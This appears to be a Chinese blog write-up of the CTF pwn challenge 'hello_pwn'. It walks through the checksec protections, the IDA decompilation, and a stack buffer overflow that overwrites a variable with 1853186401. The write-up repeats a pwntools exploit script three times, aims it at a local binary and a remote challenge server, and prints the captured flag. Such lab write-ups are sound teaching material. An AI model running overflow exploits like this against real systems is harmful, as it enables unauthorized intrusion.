事件起因(无语)
手残博主因在27日从根地址误删了自己两年半配置和使用的kali虚拟机。。。在一步步恢复环境配置的时候,从头到尾刷一遍题,总结思路。
题目分析
开启场景后,服务端会开启对应的端口,并在端口上部署和附件相同的ELF二进制可执行文件,我们要做的就是下载附件并在本地进行反汇编,反编译等操作分析程序漏洞,从而利用漏洞获取题目的flag。
checksec监测
file查看一下文件属性,可以看到文件是linux elf文件,64字节,x86也就是amd64微处理器。
checksec的常用命令是:checksec [filename] ,也就是checksec后面加上你的程序;
也可以用gdb插件中的checksec来监测,gdb中直接checksec就可以了,如下:
checksec可以检查程序保护机制,从而查看题目开启了哪些保护机制,有助于对题目的初步分析。
Arch:程序位数(查看是多少位的程序,比如32或64位),也可以查看是哪个微处理器,比如i386为32位微处理器,amd64为64位微处理器(x86架构的延伸产品,称为x86-64,后改名为AMD64);
RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELEO为"Partial RELRO",说明我们对GOT表有写权限。
Stack:栈溢出监测,查看程序是否开启了Canary防护(一种对函数栈的监测保护:还没等到栈溢出,先返回canary word,从而监测栈溢出情况)。
NX :No-eXecute(不可执行),相等于windows的DEP(数据执行保护),就是将攻击者构造的payload和shellcode(一般为系统远程执行命令)所在的内存页标识为不可执行,当攻击代码想要以数据代码伪装成可执行代码时,就会被检测到,从而使CPU抛出异常,从而不执行恶意指令。
PIE:内存地址空间分布随机化(ASLR:address space layout randomization)
从checksec检测中可以看出
- 这是一个64位小端序程序;
- 没有开启RELRO;
- 金丝雀没有开启
- NX开启
- 没有开启地址空间随机化
IDA pro分析
在main函数上按F5进入伪代码:
分析程序
显而易见,这是一道缓冲区溢出题,我们只要通过read函数对目的函数进行溢出,将目的值覆盖,使目的函数执行,就可以得到flag了。
程序的关键是:目的变量==1853186401,我们只要通过read()函数进行缓冲区溢出,将中间的内存覆盖脏数据,目的变量的值覆盖为指定的值就可以使if条件成立,从而执行指定函数拿到flag。
查看缓冲区地址和目的变量的内存地址后,我们计算出他们之间的内存空间大小为0x6C-0x68,所以只要我们将其中填充脏数据,构建payload就可以实现溢出攻击了。
好了,现在思路清晰,我们来构建我们的exp攻击脚本。
编写exp
- interactive() : 直接进行交互,相当于回到shell的模式,在取得shell之后使用
- recv(numb = 4096,timeout = default):接收指定字节
- recvall() : 一直接收知道EOF
- recvline(keepends = True): 接收一行,keepends为是否保留行尾的\n,默认为Ture
- recvuntil((delims,drop=False):一直读到delims的pattern出现为止
- recvrepeat(timeout=default): 持续接收知道EOF或者timeout
- send(data) :发送数据
- sendline(data) : 发送一行数据,相当于在数据末尾加\n
python3(pwntools)
from pwn import *
context(os='linux',arch="amd64",log_level="debug")
content=1
def main():
if content == 1:
peiqi = process("hello_pwn")
else:
peiqi = remote("220.249.52.133",53395)
payload = b'a' * (0x6C - 0x68) + p64(1853186401)
peiqi.recvuntil("lets get helloworld for bof\n")
peiqi.sendline(payload)
peiqi.interactive()
main()
攻本地程序
content = 1就是pwn本地:
from pwn import *
context(os='linux',arch="amd64",log_level="debug")
content=1
def main():
if content == 1:
peiqi = process("hello_pwn")
else:
peiqi = remote("220.249.52.133",53395)
payload = b'a' * (0x6C - 0x68) + p64(1853186401)
peiqi.recvuntil("lets get helloworld for bof\n")
peiqi.sendline(payload)
peiqi.interactive()
main()
因为你的本地程序并没有flag,所以这里显示cat:没有找到,说明你的exp基本上已经编写成功,现在只要将content修改为0就可以pwn远程了
攻远程服务器
from pwn import *
context(os='linux',arch="amd64",log_level="debug")
content=0
def main():
if content == 1:
peiqi = process("hello_pwn")
else:
peiqi = remote("220.249.52.133",53395)
payload = b'a' * (0x6C - 0x68) + p64(1853186401)
peiqi.recvuntil("lets get helloworld for bof\n")
peiqi.sendline(payload)
peiqi.interactive()
main()
成功pwn到flag:cyberpeace{66c82e120023fc25f9ab807a58058288}
总结
一道很简单的pwn题。